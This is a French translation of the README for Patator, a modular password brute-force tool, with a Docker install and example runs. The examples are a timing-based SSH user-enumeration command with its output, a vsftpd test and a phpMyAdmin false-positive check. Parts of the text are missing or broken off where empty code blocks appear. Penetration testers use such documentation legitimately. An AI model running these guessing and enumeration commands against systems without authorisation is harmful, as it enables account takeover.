
Patator est un outil de brute-force polyvalent, avec une conception modulaire et une utilisation flexible.
Patator a été écrit par frustration après l'utilisation de Hydra, Medusa, Ncrack, des modules Metasploit et des scripts NSE de Nmap pour des attaques de devinette de mots de passe. J'ai opté pour une approche différente afin de ne pas créer un outil de brute-force de plus et d'éviter de répéter les mêmes lacunes. Patator est un outil multi-threadé écrit en Python, qui s'efforce d'être plus fiable et flexible que ses prédécesseurs.
Actuellement, il prend en charge les modules suivants :```
Le nom « Patator » vient de [ceci](https://www.youtube.com/watch?v=9sF9fTALhVA).
Patator n'est PAS adapté aux script-kiddies, veuillez lire ce qui suit, [DeepWiki](https://deepwiki.com/lanjelot/patator) et le [wiki](https://github.com/lanjelot/patator/wiki) avant de signaler.
Veuillez faire un don si vous aimez ce projet ! :)
<div align="center">
| PayPal | Bitcoin |
| -------- | ------- |
| [](https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=SB36VJH4EM5WG&lc=AU&item_name=lanjelot&item_number=patator¤cy_code=AUD&bn=PP%2dDonationsBF%3abtn_donateCC_LG%2egif%3aNonHosted)| [](https://raw.githubusercontent.com/lanjelot/patator/master/donate/bitcoin-address.txt) |
</div>
Merci beaucoup ! [@lanjelot](https://twitter.com/lanjelot)
## Installation```
git clone https://github.com/lanjelot/patator.git
git clone https://github.com/danielmiessler/SecLists.git
docker build -t patator patator/
docker run -it --rm -v $PWD/SecLists/Passwords:/mnt patator dummy_test data=FILE0 0=/mnt/richelieu-french-top5000.txt
Testé contre `vsftpd-3.0.2-9` sur `CentOS 7.0-1406`.
* SSH : Énumération des utilisateurs basée sur le temps```
$ ssh_login host=10.0.0.1 user=FILE0 0=logins.txt password=$(perl -e "print 'A'x50000") --max-retries 0 --timeout 10 -x ignore:time=0-3
17:45:20 patator INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-02-08 17:45 AEDT
17:45:20 patator INFO -
17:45:20 patator INFO - code size time | candidate | num | mesg
17:45:20 patator INFO - -----------------------------------------------------------------------------
17:45:30 patator FAIL - xxx 41 10.001 | root | 1 | <class '__main__.TimeoutError'> timed out
17:45:34 patator FAIL - xxx 41 10.000 | john | 23 | <class '__main__.TimeoutError'> timed out
17:45:37 patator FAIL - xxx 41 10.000 | joe | 40 | <class '__main__.TimeoutError'> timed out
...
Testé contre openssh-server 1:6.0p1-4+deb7u2 sur Debian 7.8.
Payload #72 était un faux positif dû à un message d'erreur inattendu :```
$ grep AllowNoPassword /tmp/qsdf/72_200\:13215\:0\:0.351.txt
... class="icon ic_s_error" /> Login without a password is forbidden by configuration (see AllowNoPassword)</div><noscript>
Testé avec phpMyAdmin 4.2.7.1.